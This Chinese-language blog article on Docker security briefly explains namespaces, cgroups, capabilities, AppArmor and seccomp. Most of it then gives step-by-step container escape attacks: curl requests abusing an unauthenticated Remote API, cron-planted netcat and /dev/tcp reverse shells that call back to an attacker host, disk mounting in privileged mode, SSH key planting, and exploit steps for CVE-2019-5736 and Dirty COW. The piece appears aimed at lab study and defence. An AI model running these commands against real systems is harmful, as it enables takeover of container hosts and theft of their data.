[TOC]

前言

Docker 使用 Google 公司推出的 Go 语言 进行开发实现,基于 Linux 内核的 cgroup,namespace,以及 OverlayFS 类的 Union FS 等技术,对进程进行封装隔离,属于 操作系统层面的虚拟化技术。由于隔离的进程独立于宿主和其它的隔离的进程,因此也称其为容器。

为什么要使用docker

docker作为一种新兴的虚拟化方式,Docker 跟传统的虚拟化方式相比具有众多的优势。

  • 更高效的利用系统资源
  • 更快速的启动时间
  • 一致的运行环境
  • 持续交付和部署
  • 更轻松的迁移
  • 更轻松的维护和扩展

对比传统虚拟机
image.png

docker安全设计

内核namespeace

namespeace为docker提供了最基础以及最直接带隔离方式。每当使用docker run时,docker会在后台为容器创建一组独立的命名空间。 这使得每个创建的容器之间都是相互隔离的,互不影响。

每一个docker之间网络也是相互隔离的,他们拥有自己独立的网络协议栈。要想让多个docker之间相互通信,可以在主机上进行恰当的设置。从网络架构上看,两个容器之间的网络通信和通过交换机连接的两台物理机相同。

Linux Control Group

Linux Control Group简称(Cgroup)是Linux容器的另一个关键的组件,Cgroup的主要任务就是对资源进行核算和限制。其提供了多种计算机资源的限制措施,和计算指标,包括内存,CPU,磁盘IO等。 这一作用,确保了容器都能公平的分配资源

Linux 内核capabilities

capabilities 将原本的root权限/非root权限,划分为更加细粒度的访问控制系统。例如仅仅需要绑定低于1024 端口的进程(如web 服务器)就不需要以root 权限运行。只要赋予它net_bind_service capability 即可。几乎所有本需要root 权限执行的功能现在都可以使用各种不同的capabilities 代替。

这对于容器安全来说意义重大。在一个典型的服务器中,许多进程需要使用到root权限,包括SSH守护进程,cron守护进程,日志记录,内核模块管理,网络配置等等。但是容器不同,几乎所有上述的任务都是由容器之外的宿主机处理的。因此在大部分情况下,容器不需要”真正的” root权限。这意味着容器中的“ root ”拥有比真正“ root ”更少的权限。例如容器可以:

  • 禁止所有的“ mount ”操作
  • 禁止对raw socket 的访问(防止数据包欺骗)
  • 禁止某些对文件系统的访问操作。比如创建或者写某些设备节点。
  • 禁止内核模块加载

即使入侵者设法获取到容器内的root 权限,也很难造成严重的破坏或者逃逸到宿主机。另外降权并不会影响常规的应用程序,但是会大大减少恶意攻击者的攻击途径。默认情况下,Docker 会收回所有不需要的capability (即使用白名单)。

Linux 内核AppArmor

AppArmor ( Application Armor ) 是Linux 内核的安全模块之一。有别于传统的Unix 自主访问控制( DAC ) 模型。AppArmor 通过内核安全模块( LSM ) 实现了强制访问控制( MAC ),可以将程序能够访问的资源限制在有限的资源集中。

默认情况下,Docker 会为容器自动生成并加载默认的AppArmor 配置文件。

AppArmor通过在每个应用程序上应用特定的规则集来主动保护应用程序免受各种攻击威胁。通过加载到内核中的配置文件,AppArmor将访问控制细化绑定到程序,配置文件完全定义了应用程序可以访问哪些系统资源以及具有哪些权限。例如:配置文件可以允许程序进行网络访问,原始套接字访问或者读取写入与路径规则匹配的文件。如果配置文件没有声明,则默认情况下禁止进程对资源的访问。

Linux内核Seccomp

Secure computing mode ( Seccomp )是一项旨在对进程系统调用进行限制的内核安全特性。
默认情况下,大量的系统调用暴露给用户进程。其中很多的系统调用在整个进程的生命周期内都不会被使用。所以Seccomp提供了对进程可调用的系统调用进行限制的手段.

通过禁止进程调用不必要的系统调用,减少了内核暴露给用户态进程的接口数量。从而减少内核攻击面。Docker 在启动容器时默认会启用Seccomp 保护,默认的白名单规则仅保留了Linux 中比较常见并且安全的系统调用。

docker攻击面

  • 攻击面一:攻击内核本身
  • 攻击面二:攻击Docker 守护进程本身
  • 攻击面三:配置文件错误导致漏洞
  • 攻击面四:安全模块绕过

Docker逃逸漏洞

配置不当导致docker逃逸

Docker RemoteAPI 未授权访问

环境搭建: 使用vulhub进行环境搭建https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.zh-cn.md

  • 容器RCE
    获取主机上的所有容器:

curl -i -s -X GET http://xxxx:PORT/containers/json

该命令将会获得一个ID字段数据。

通过bash命令创建一个将要在容器上执行exec的实例:

`curl -i -s -X POST \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http://<;docker_host>:PORT/containers/<container_id>/exec`

启动exec实例:
`curl -i -s -X POST \
-H 'Content-Type: application/json' \
--data-binary '{"Detach": false,"Tty": false}' http://<;docker_host>:PORT/exec/<exec_id>/start`

若成功启动,则会得到/etc/passwd内容

  • 逃逸到宿主机
    利用方法: 我们随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。通过反弹shell的操作实施, 将命令写入crontab配置文件,进行反弹shell。

攻击机执行: nc -lnvp 2333

docker容器上执行

import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 2333 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

特权模式导致容器逃逸(--privileged)

启动,docker时,若启用此参数,会关闭Docker的所有安全保护(不受seccomp,AppArmor和Linux capabilities的限制)。任何攻击者只要取得容器中的root 权限,就可以直接逃逸至宿主机并获得宿主机root 权限。

漏洞测试:

  • 通过特权模式运行一个容器:

    • sudo docker run -itd --privileged ubuntu:latest /bin/bash
  • 查看磁盘文件

    • fdisk -l
      image.png
  • 将磁盘文件挂载到新目录

    • mkdir /test
    • mount /dev/sda1 /test
  • 将计划任务写到宿主机

    • echo '* * * * * /bin/bash -i >& /dev/tcp/[ip]/12345 0>&1' >> /test/var/spool/cron/crontabs/root

挂载敏感目录

开发人员在开发过程中将宿主机的敏感目录挂载到容器。(-v /:/soft)

漏洞测试

  • 将root目录挂载到容器中。

    • docker run -itd -v /root:/root ubuntu:18.04 /bin/bash
  • 模拟攻击者写入ssh密钥

    • ssh-keygen -t rsa
    • mkdir /root/.ssh
    • cat id_rsa.pub >> /root/.ssh/authorized_keys

其他参数启动时存在的威胁

Docker 通过Linux namespace实现资源隔离,但部分启动参数授予容器权限较大的权限,从而打破了资源隔离的界限。

  • --cap-add=SYS_ADMIN 启动时,允许执行mount特权操作,需获得资源挂载进行利用。
  • --net=host 启动时,绕过Network Namespace
  • --pid=host 启动时,绕过PID Namespace
  • --ipc=host 启动时,绕过IPC Namespace

挂载 procfs 目录

漏洞利用过程比较复杂,但是可以通过cdk快速利用.

  • 宿主机启动测试容器,挂载宿主机的procfs,尝试逃逸当前容器。docker run -v /root/cdk:/cdk -v /proc:/mnt/host_proc --rm -it ubuntu bash
    image.png
  • 容器内部执行 ./cdk run mount-procfs /mnt/host_proc "touch /tmp/exp-success"
  • 宿主机中出现/tmp/exp-success文件,说明exp已经成功执行,攻击者可以在宿主机执行任意命令。
    image.png

程序漏洞导致docker逃逸

CVE-2019-5736(runC容器逃逸漏洞)

该漏洞的主要原因是Docker 守护进程在执行docker exec 等需要在容器中启动进程操作时对/proc/self/exe 的处理不当。如果用户启动了由攻击者准备的docker 容器或者被攻击者获得了容器中的root 权限。那么在用户执行docker exec 进入容器时,攻击者就可以在宿主机执行任意代码。

  • 影响范围

    • Docker版本 < 18.09.2
    • runc版本 <= 1.0-rc6
  • 漏洞利用:

    • 利用poc:

      • https://github.com/Frichetten/CVE-2019-5736-PoC
    • 修改main.go中的payload为反弹shell
    • 编译为可以执行的脚步文件 CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
    • 拷贝到docker容器中执行 sudo docker cp ./main [docker-id]:/tmp
    • 等待受害者使用docker exec连接容器触发Payload sudo docker exec -it [docker-id] bash
    • 收到反弹shell

CVE-2019-14271

漏洞描述:

  • 当Docker宿主机使用cp命令时,会调用辅助进程docker-tar,该进程没有被容器化,且会在运行时动态加载一些libnss*.so库。黑客可以通过在容器中替换libnss*.so等库,将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码,成功实现Docker逃逸,获得宿主机root权限。

影响版本:

  • Docker 19.03.0

内核漏洞导致容器逃逸

脏牛漏洞(CVE-2016-5195)

    • 利用前提:
      Docker 与 宿主机共享内核,因此容器需要在存在dirtyCow漏洞的宿主机里。
  • git clone https://github.com/gebl/dirtycow-docker-vdso.git
    cd dirtycow-docker-vdso/
    sudo docker-compose run dirtycow /bin/bash
    • 进入容器,编译POC并执行:
    cd /dirtycow-vdso/
    make
    ./0xdeadbeef 192.168.172.136:1234

    在192.168.172.136监听本地端口,成功接收到宿主机反弹的shell。

    安全性建议

    • 使用可靠的内核版本,及时更新安全补丁
    • 加强员工安全意识培训
    • 避免以特权用户允许docker
    • 避免使用root权限运行docker
    • 在重要场合,使用双层虚拟化,及docker容器+虚拟机

    参考链接:

    https://www.cnblogs.com/xiaozi/p/13423853.html

    https://www.chainnews.com/zh-hant/articles/145409659027.htm

    https://xz.aliyun.com/t/7881#toc-12

    https://yeasy.gitbook.io/docker_practice/introduction/why

    最后修改:2021 年 06 月 08 日 10 : 47 PM
    如果觉得我的文章对你有用,请随意赞赏